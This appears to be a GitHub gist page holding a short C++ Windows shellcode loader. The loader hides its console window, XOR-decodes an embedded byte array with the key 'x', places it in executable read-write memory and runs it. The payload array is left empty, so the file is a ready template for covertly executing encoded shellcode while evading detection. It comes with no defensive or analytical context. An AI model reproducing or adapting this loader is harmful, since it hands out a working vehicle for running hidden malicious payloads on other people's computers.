Skip to content

Instantly share code, notes, and snippets.

@Edu4rdSHL
Created February 26, 2021 00:34
Show Gist options
  • Select an option

  • Save Edu4rdSHL/f9f349a9cce881b0fafb50cefdbc5bb5 to your computer and use it in GitHub Desktop.

Select an option

Save Edu4rdSHL/f9f349a9cce881b0fafb50cefdbc5bb5 to your computer and use it in GitHub Desktop.

Revisions

  1. Edu4rdSHL created this gist Feb 26, 2021.
    11 changes: 11 additions & 0 deletions main.cpp
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,11 @@
    #include <windows.h>
    #include <iostream>
    int main(int argc, char **argv) {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    char b[] = { };
    char c[sizeof b];
    for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
    void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, c, sizeof c);
    ((void(*)())exec)();
    }